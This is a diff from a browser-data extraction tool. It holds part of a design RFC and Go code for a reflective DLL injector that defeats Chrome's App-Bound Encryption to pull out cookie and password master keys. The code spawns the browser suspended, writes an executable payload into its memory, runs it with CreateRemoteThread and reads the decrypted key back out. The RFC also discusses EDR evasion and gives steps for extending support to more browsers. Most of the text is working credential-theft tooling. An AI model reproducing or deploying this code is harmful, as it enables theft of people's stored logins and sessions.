fork) | **xaitax/Chrome-App-Bound-Encryption-Decryption** | +|---|---|---|---| +| Top-level language | Go + C | Go + C++ | C++ end-to-end | +| Injector runtime | Go, `CGO_ENABLED=0` | Go, `CGO_ENABLED=0` | C++ standalone exe | +| Reflective loader | **Self-written C**, ~280 lines | Stephen Fewer 2012 `ReflectiveLoader` (vendored C, ~500) | Self-written C++, ~400 | +| kernel32 resolution | **Pre-resolved by Go, patched into DOS stub** | PEB walk + `_rotr` hash | PEB walk + `_rotr` hash | +| Syscall mechanism | Win32 APIs | Win32 APIs | Direct syscall via ASM trampoline | +| COM DecryptData dispatch | Vtable slot by browser kind (5/8/13) | Full interface via `ComPtr` | Same as injector-old | +| IPC payload → injector | **env var in, scratch-region read out** | Named pipe (full duplex) | Named pipe (full duplex) | +| Build toolchain for payload | `zig cc` | MSVC / clang-cl | MSVC | +| Runtime disk footprint | **0 bytes** | 1 temp file + pipe | Pipe | +| EDR evasion posture | None (Win32 APIs visible) | Partial (optional Nt*) | Strong (direct syscalls) | + +### 9.1 Why we didn't vendor xaitax's Bootstrap + +Tempting — it's known-good. But: C++ in an otherwise pure-C/Go repo; ASM trampolines + direct syscalls add a second toolchain leg; pipe-based IPC is 300+ lines of C we don't need; browser termination is a product-policy decision we skipped. + +### 9.2 Why we abandoned Stephen Fewer's loader + +`while(curr)` loop without `curr != head` termination → walked past end of the circular `InMemoryOrderModuleList` → dereferenced `PEB_LDR_DATA` itself as an `LDR_DATA_TABLE_ENTRY` → access-violated on `BaseDllName.pBuffer`. The 2012-era struct alignment hack (commented-out first `LIST_ENTRY`) also makes it brittle against Windows internals. Our replacement is strictly smaller, addresses these bugs explicitly, and is first-party. + +## 10. Browser coverage + +As of 2026-04-19, tested against Chrome 147 family. + +| Browser class | Behavior | Status | +|---|---|---| +| Chrome Stable/Beta, Brave, CocCoc | ABE v20 via `CHROME_BASE` slot (5) | ✅ verified (cookies + passwords, zero non-ASCII in output) | +| Microsoft Edge | ABE v20 via `EDGE` slot (8); v2 `E_NOINTERFACE` → v1 fallback succeeds | ✅ verified | +| Avast Secure Browser | ABE v20 via `AVAST` slot (13) | ⚠️ table entry shipped; not yet sandbox-tested | +| Opera / OperaGX / Vivaldi / Yandex / Arc / 360 / QQ / Sogou | Not in `com_iid.c` | ⚠️ legacy v10 cookies still decrypt via DPAPI; v20 cookies do not | + +Authoritative CLSID/IID table: `crypto/windows/abe_native/com_iid.c`. + +## 11. Adding support for a new Chromium fork + +Three steps. Detail (dump scripts, CLSID discovery) lives in private maintainer notes. + +1. **Discover CLSID** — find the fork's elevation Windows service, look up its AppID in `HKLM\SOFTWARE\Classes\AppID`, then the CLSID that binds to it in `HKLM\SOFTWARE\Classes\CLSID`. +2. **Mine IIDs from TypeLib** — the interface IIDs live in the TypeLib resource of `\Application\\elevation_service.exe`. PowerShell + `ITypeLib.GetTypeInfo` enumerates them. Map `IElevator` → v1 IID, `IElevator2` → v2 IID (absent for older vendors). +3. **Determine vtable slot** — count `IElevator` methods in the TypeLib. Chrome-family has 3 methods (slot 5). Edge prepends 3 placeholders (slot 8). Avast extends the interface further (slot 13). + +Edit `crypto/windows/abe_native/com_iid.c` (add the entry), `browser/browser_windows.go` (set `Storage: ""` for the new `BrowserConfig`), optionally `utils/browserutil/path_windows.go` (for non-standard install paths), then `make payload-clean && make build-windows` and redeploy. + +## 12. Known issues & future work + +**Known**: + +- Non-`com_iid.c` browsers (Opera, Vivaldi, Yandex, Arc, 360, QQ, Sogou) fall back to DPAPI; v20 cookies remain encrypted. Fix = §11 procedure per vendor. +- ARM64 Windows unsupported. Payload is `x86_64-windows-gnu` only. xaitax ships ARM64; we'd need parallel payload builds + runtime arch dispatch. +- Chrome v20 domain-binding prefix: injector-old strips 32 bytes at the start of v20 plaintext. Not observed on Chrome 147 sandbox outputs; left unimplemented. Re-add if a future test surfaces the prefix. +- Running-browser handling: if the user has the target browser open we spawn a second instance. No observed conflict, but some vendors (Opera GX) serialize elevation service; an opt-in `--kill-running` is future work. + +**Future** (ordered by value): + +1. Runtime CLSID/IID lookup from `elevation_service_idl.tlb` (no rebuild per fork rotation) +2. More forks via §11 (Opera, Vivaldi, Yandex, Arc) +3. x86 payload variant (for legacy 32-bit Chrome installs) +4. Optional `--kill-running` flag +5. EDR-hardened `injector.Strategy` variant (direct syscalls) +6. Release signing (cosign / SBOM) + reproducible-build CI verification +7. ARM64 Windows support + +## 13. Related RFCs + +| RFC | Relation | +|---|---| +| [RFC-003 Chromium Encryption](003-chromium-encryption.md) | v10/v11/v20 cipher format reference; v20 now implemented on Windows per this RFC | +| [RFC-006 Key Retrieval](006-key-retrieval-mechanisms.md) | `ChainRetriever` taxonomy; Windows now uses `[ABERetriever, DPAPIRetriever]` | +| [RFC-009 Windows Locked Files](009-windows-locked-file-bypass.md) | Sibling Windows-specific workaround (handle duplication for locked DBs) | diff --git a/utils/injector/errors_windows.go b/utils/injector/errors_windows.go new file mode 100644 index 0000000..069298d --- /dev/null +++ b/utils/injector/errors_windows.go @@ -0,0 +1,49 @@ +//go:build windows + +package injector + +import ( + "fmt" + + "github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap" +) + +// abeErrNames maps the payload's ABE_ERR_* category byte (written into +// the scratch region at extract_err_code) to a human-readable cause. +var abeErrNames = map[byte]string{ + bootstrap.ErrBasename: "basename extraction failed", + bootstrap.ErrBrowserUnknown: "browser not in com_iid table", + bootstrap.ErrEnvMissing: "HBD_ABE_ENC_B64 env var missing or oversized", + bootstrap.ErrBase64: "base64 decode failed", + bootstrap.ErrBstrAlloc: "SysAllocStringByteLen failed", + bootstrap.ErrComCreate: "CoCreateInstance failed (no usable IElevator)", + bootstrap.ErrDecryptData: "IElevator.DecryptData failed", + bootstrap.ErrKeyLen: "key length mismatch (want 32)", +} + +// hresultNames covers HRESULT values we've actually observed or expect to +// observe on failure paths. Unknown values fall back to hex. +var hresultNames = map[uint32]string{ + 0x80004002: "E_NOINTERFACE", + 0x80010108: "RPC_E_DISCONNECTED", + 0x80040154: "REGDB_E_CLASSNOTREG", + 0x80070005: "E_ACCESSDENIED", + 0x800706BA: "RPC_S_SERVER_UNAVAILABLE", +} + +// formatABEError renders a scratchResult into a diagnostic string used when +// the payload did not publish a key. The format is stable for greppability: +// +// err=, hr= (0xXXXXXXXX), comErr=0xXXXXXXXX, marker=0xXX +func formatABEError(r scratchResult) string { + errName := fmt.Sprintf("0x%02x", r.ErrCode) + if n, ok := abeErrNames[r.ErrCode]; ok { + errName = n + } + hrName := fmt.Sprintf("0x%08x", r.HResult) + if n, ok := hresultNames[r.HResult]; ok { + hrName = fmt.Sprintf("%s (0x%08x)", n, r.HResult) + } + return fmt.Sprintf("err=%s, hr=%s, comErr=0x%x, marker=0x%02x", + errName, hrName, r.ComErr, r.Marker) +} diff --git a/utils/injector/errors_windows_test.go b/utils/injector/errors_windows_test.go new file mode 100644 index 0000000..87315d9 --- /dev/null +++ b/utils/injector/errors_windows_test.go @@ -0,0 +1,79 @@ +//go:build windows + +package injector + +import ( + "strings" + "testing" + + "github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap" +) + +func TestFormatABEError(t *testing.T) { + cases := []struct { + name string + result scratchResult + wants []string + }{ + { + name: "known err code with known HRESULT", + result: scratchResult{ + Marker: 0xff, + Status: 0x00, + ErrCode: bootstrap.ErrDecryptData, + HResult: 0x80070005, + ComErr: 0, + }, + wants: []string{ + "err=IElevator.DecryptData failed", + "hr=E_ACCESSDENIED (0x80070005)", + "comErr=0x0", + "marker=0xff", + }, + }, + { + name: "known err code, unknown HRESULT falls back to hex", + result: scratchResult{ + Marker: 0xff, + Status: 0x00, + ErrCode: bootstrap.ErrBrowserUnknown, + HResult: 0x12345678, + }, + wants: []string{ + "err=browser not in com_iid table", + "hr=0x12345678", + }, + }, + { + name: "unknown err code falls back to hex", + result: scratchResult{ + ErrCode: 0xaa, + HResult: 0, + }, + wants: []string{ + "err=0xaa", + "hr=0x00000000", + }, + }, + { + name: "err code zero (ok) also renders", + result: scratchResult{ + ErrCode: bootstrap.ErrOk, + }, + wants: []string{ + "err=0x00", + }, + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + got := formatABEError(tc.result) + for _, want := range tc.wants { + if !strings.Contains(got, want) { + t.Errorf("formatABEError missing %q\n got: %s", want, got) + } + } + }) + } +} diff --git a/utils/injector/reflective_windows.go b/utils/injector/reflective_windows.go index 2717476..018c35c 100644 --- a/utils/injector/reflective_windows.go +++ b/utils/injector/reflective_windows.go @@ -8,9 +8,10 @@ import ( "os" "syscall" "time" - "unsafe" "golang.org/x/sys/windows" + + "github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap" ) type Reflective struct { @@ -22,13 +23,6 @@ const ( // 30s covers GoogleChromeElevationService cold-start on first call after boot. defaultWait = 30 * time.Second terminateWait = 2 * time.Second - - // Keep in sync with bootstrap.h. - bootstrapMarkerOffset = 0x28 - bootstrapKeyStatusOffset = 0x29 - bootstrapKeyOffset = 0x40 - bootstrapKeyLen = 32 - bootstrapKeyStatusReady = 0x01 ) func (r *Reflective) Inject(exePath string, payload []byte, env map[string]string) ([]byte, error) { @@ -83,18 +77,35 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin } // Read output before TerminateProcess — after kill the memory is gone. - status, key := readScratch(pi.Process, remoteBase) + result, readErr := readScratch(pi.Process, remoteBase) _ = windows.TerminateProcess(pi.Process, 0) _, _ = windows.WaitForSingleObject(pi.Process, uint32(terminateWait/time.Millisecond)) terminated = true - if status != bootstrapKeyStatusReady { - marker := readMarker(pi.Process, remoteBase) - return nil, fmt.Errorf("injector: payload did not publish key (status=0x%02x, marker=0x%02x)", - status, marker) + if readErr != nil { + return nil, fmt.Errorf("injector: %w", readErr) } - return key, nil + if result.Status != bootstrap.KeyStatusReady { + return nil, fmt.Errorf("injector: payload did not publish key (%s)", formatABEError(result)) + } + if len(result.Key) != bootstrap.KeyLen { + return nil, fmt.Errorf("injector: payload signaled ready but key length is %d (want %d)", + len(result.Key), bootstrap.KeyLen) + } + return result.Key, nil +} + +// scratchResult is the structured view of the 12-byte diagnostic header +// (marker..com_err) plus the optional 32-byte master key the payload +// publishes back into the remote process's scratch region. +type scratchResult struct { + Marker byte + Status byte + ErrCode byte + HResult uint32 + ComErr uint32 + Key []byte } func (r *Reflective) wait() time.Duration { @@ -138,29 +149,19 @@ func spawnSuspended(exePath string) (*windows.ProcessInformation, error) { } func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) { - kernel32 := windows.NewLazySystemDLL("kernel32.dll") - procVirtualAllocEx := kernel32.NewProc("VirtualAllocEx") - procWriteProcessMemory := kernel32.NewProc("WriteProcessMemory") - - remoteBase, _, callErr := procVirtualAllocEx.Call( + remoteBase, err := callBoolErr(procVirtualAllocEx, uintptr(proc), 0, uintptr(len(payload)), uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE), uintptr(windows.PAGE_EXECUTE_READWRITE), ) - if remoteBase == 0 { - return 0, fmt.Errorf("injector: VirtualAllocEx: %w", callErr) + if err != nil { + return 0, fmt.Errorf("injector: %w", err) } var written uintptr - r1, _, callErr := procWriteProcessMemory.Call( - uintptr(proc), remoteBase, - uintptr(unsafe.Pointer(&payload[0])), - uintptr(len(payload)), - uintptr(unsafe.Pointer(&written)), - ) - if r1 == 0 { - return 0, fmt.Errorf("injector: WriteProcessMemory: %w", callErr) + if err := windows.WriteProcessMemory(proc, remoteBase, &payload[0], uintptr(len(payload)), &written); err != nil { + return 0, fmt.Errorf("injector: WriteProcessMemory: %w", err) } if int(written) != len(payload) { return 0, fmt.Errorf("injector: short write to target (%d/%d)", written, len(payload)) @@ -169,74 +170,68 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) { } func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error { - kernel32 := windows.NewLazySystemDLL("kernel32.dll") - procCreateRemoteThread := kernel32.NewProc("CreateRemoteThread") - entry := remoteBase + uintptr(loaderRVA) - hThread, _, callErr := procCreateRemoteThread.Call( - uintptr(proc), - 0, 0, entry, 0, 0, 0, + hThread, err := callBoolErr(procCreateRemoteThread, + uintptr(proc), 0, 0, entry, 0, 0, 0, ) - if hThread == 0 { - return fmt.Errorf("injector: CreateRemoteThread: %w", callErr) + if err != nil { + return fmt.Errorf("injector: %w", err) } defer windows.CloseHandle(windows.Handle(hThread)) - _, _ = windows.WaitForSingleObject(windows.Handle(hThread), uint32(wait/time.Millisecond)) - return nil + state, err := windows.WaitForSingleObject(windows.Handle(hThread), uint32(wait/time.Millisecond)) + if err != nil { + return fmt.Errorf("injector: WaitForSingleObject: %w", err) + } + switch state { + case windows.WAIT_OBJECT_0: + return nil + case uint32(windows.WAIT_TIMEOUT): + return fmt.Errorf("injector: remote Bootstrap thread timed out after %s", wait) + default: + return fmt.Errorf("injector: remote Bootstrap thread wait returned 0x%x", state) + } } -func readScratch(proc windows.Handle, remoteBase uintptr) (status byte, key []byte) { - kernel32 := windows.NewLazySystemDLL("kernel32.dll") - procReadProcessMemory := kernel32.NewProc("ReadProcessMemory") - - var sb [1]byte +// readScratch pulls the payload's diagnostic header and (on success) the +// master key out of the target process's scratch region. A non-nil error +// means our own ReadProcessMemory call failed (distinct from the payload +// reporting a structured failure via result.Status/ErrCode/HResult). +func readScratch(proc windows.Handle, remoteBase uintptr) (scratchResult, error) { + // hdr covers offsets 0x28..0x33: marker, status, extract_err_code, + // _reserved, hresult (LE u32), com_err (LE u32). + var hdr [12]byte var n uintptr - r, _, _ := procReadProcessMemory.Call( - uintptr(proc), - remoteBase+uintptr(bootstrapKeyStatusOffset), - uintptr(unsafe.Pointer(&sb[0])), - 1, - uintptr(unsafe.Pointer(&n)), - ) - if r == 0 { - return 0, nil + if err := windows.ReadProcessMemory(proc, + remoteBase+uintptr(bootstrap.MarkerOffset), + &hdr[0], uintptr(len(hdr)), &n); err != nil { + return scratchResult{}, fmt.Errorf("read scratch header: %w", err) } - status = sb[0] - if status != bootstrapKeyStatusReady { - return status, nil + if int(n) != len(hdr) { + return scratchResult{}, fmt.Errorf("read scratch header: short read %d/%d", n, len(hdr)) + } + result := scratchResult{ + Marker: hdr[0], + Status: hdr[1], + ErrCode: hdr[2], + HResult: binary.LittleEndian.Uint32(hdr[4:8]), + ComErr: binary.LittleEndian.Uint32(hdr[8:12]), + } + if result.Status != bootstrap.KeyStatusReady { + return result, nil } - buf := make([]byte, bootstrapKeyLen) - r, _, _ = procReadProcessMemory.Call( - uintptr(proc), - remoteBase+uintptr(bootstrapKeyOffset), - uintptr(unsafe.Pointer(&buf[0])), - uintptr(bootstrapKeyLen), - uintptr(unsafe.Pointer(&n)), - ) - if r == 0 || int(n) != bootstrapKeyLen { - return status, nil + buf := make([]byte, bootstrap.KeyLen) + if err := windows.ReadProcessMemory(proc, + remoteBase+uintptr(bootstrap.KeyOffset), + &buf[0], uintptr(bootstrap.KeyLen), &n); err != nil { + return result, fmt.Errorf("read master key from scratch: %w", err) } - return status, buf -} - -func readMarker(proc windows.Handle, remoteBase uintptr) byte { - kernel32 := windows.NewLazySystemDLL("kernel32.dll") - procReadProcessMemory := kernel32.NewProc("ReadProcessMemory") - var b [1]byte - var n uintptr - r, _, _ := procReadProcessMemory.Call( - uintptr(proc), - remoteBase+uintptr(bootstrapMarkerOffset), - uintptr(unsafe.Pointer(&b[0])), - 1, - uintptr(unsafe.Pointer(&n)), - ) - if r == 0 { - return 0 + if int(n) != bootstrap.KeyLen { + return result, fmt.Errorf("read master key from scratch: short read %d/%d", n, bootstrap.KeyLen) } - return b[0] + result.Key = buf + return result, nil } // patchPreresolvedImports writes five pre-resolved Win32 function pointers @@ -244,18 +239,15 @@ func readMarker(proc windows.Handle, remoteBase uintptr) byte { // Validity relies on KnownDlls + session-consistent ASLR (kernel32 and ntdll // share the same virtual address across processes in one boot session). func patchPreresolvedImports(payload []byte) ([]byte, error) { - if len(payload) < 0x68 { + if len(payload) < bootstrap.ImpNtFlushICOffset+8 { return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch") } - kernel32 := windows.NewLazySystemDLL("kernel32.dll") - ntdll := windows.NewLazySystemDLL("ntdll.dll") - - pLoadLibraryA := kernel32.NewProc("LoadLibraryA").Addr() - pGetProcAddress := kernel32.NewProc("GetProcAddress").Addr() - pVirtualAlloc := kernel32.NewProc("VirtualAlloc").Addr() - pVirtualProtect := kernel32.NewProc("VirtualProtect").Addr() - pNtFlushIC := ntdll.NewProc("NtFlushInstructionCache").Addr() + pLoadLibraryA := procLoadLibraryA.Addr() + pGetProcAddress := procGetProcAddress.Addr() + pVirtualAlloc := procVirtualAlloc.Addr() + pVirtualProtect := procVirtualProtect.Addr() + pNtFlushIC := procNtFlushIC.Addr() if pLoadLibraryA == 0 || pGetProcAddress == 0 || pVirtualAlloc == 0 || pVirtualProtect == 0 || pNtFlushIC == 0 { @@ -268,11 +260,11 @@ func patchPreresolvedImports(payload []byte) ([]byte, error) { writeAddr := func(off int, addr uintptr) { binary.LittleEndian.PutUint64(patched[off:off+8], uint64(addr)) } - writeAddr(0x40, pLoadLibraryA) - writeAddr(0x48, pGetProcAddress) - writeAddr(0x50, pVirtualAlloc) - writeAddr(0x58, pVirtualProtect) - writeAddr(0x60, pNtFlushIC) + writeAddr(bootstrap.ImpLoadLibraryAOffset, pLoadLibraryA) + writeAddr(bootstrap.ImpGetProcAddressOffset, pGetProcAddress) + writeAddr(bootstrap.ImpVirtualAllocOffset, pVirtualAlloc) + writeAddr(bootstrap.ImpVirtualProtectOffset, pVirtualProtect) + writeAddr(bootstrap.ImpNtFlushICOffset, pNtFlushIC) return patched, nil } diff --git a/utils/injector/winapi_windows.go b/utils/injector/winapi_windows.go new file mode 100644 index 0000000..cb1b58a --- /dev/null +++ b/utils/injector/winapi_windows.go @@ -0,0 +1,52 @@ +//go:build windows + +package injector + +import ( + "errors" + "fmt" + "syscall" + + "golang.org/x/sys/windows" +) + +// Package-level lazy DLL/Proc handles. Consolidating them here avoids the +// NewLazySystemDLL("kernel32.dll") boilerplate spread across every helper in +// reflective_windows.go, and gives us a single place to extend when a new +// Win32 API is needed. Matches the pattern used in filemanager/copy_windows.go. +var ( + kernel32 = windows.NewLazySystemDLL("kernel32.dll") + ntdll = windows.NewLazySystemDLL("ntdll.dll") + + // Call-style procs: Win32 APIs that `golang.org/x/sys/windows` does NOT + // provide typed wrappers for. We invoke them via LazyProc.Call. + procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx") + procCreateRemoteThread = kernel32.NewProc("CreateRemoteThread") + + // Address-style procs: consumed only via .Addr() by patchPreresolvedImports + // to patch raw function pointers into the payload's DOS stub. We never Call + // these from our own process. + procLoadLibraryA = kernel32.NewProc("LoadLibraryA") + procGetProcAddress = kernel32.NewProc("GetProcAddress") + procVirtualAlloc = kernel32.NewProc("VirtualAlloc") + procVirtualProtect = kernel32.NewProc("VirtualProtect") + procNtFlushIC = ntdll.NewProc("NtFlushInstructionCache") +) + +// callBoolErr wraps the common "r1 == 0 means failure" Win32 convention. +// Win32 GetLastError often returns ERROR_SUCCESS (errno 0) even on failure, +// so we distinguish the "no-errno" case explicitly to avoid emitting misleading +// "operation completed successfully" messages. We use errors.As rather than a +// type assertion so the check stays correct if x/sys/windows ever wraps the +// underlying errno. +func callBoolErr(p *windows.LazyProc, args ...uintptr) (uintptr, error) { + r, _, callErr := p.Call(args...) + if r == 0 { + var errno syscall.Errno + if errors.As(callErr, &errno) && errno == 0 { + return 0, fmt.Errorf("%s: failed (no errno)", p.Name) + } + return 0, fmt.Errorf("%s: %w", p.Name, callErr) + } + return r, nil +}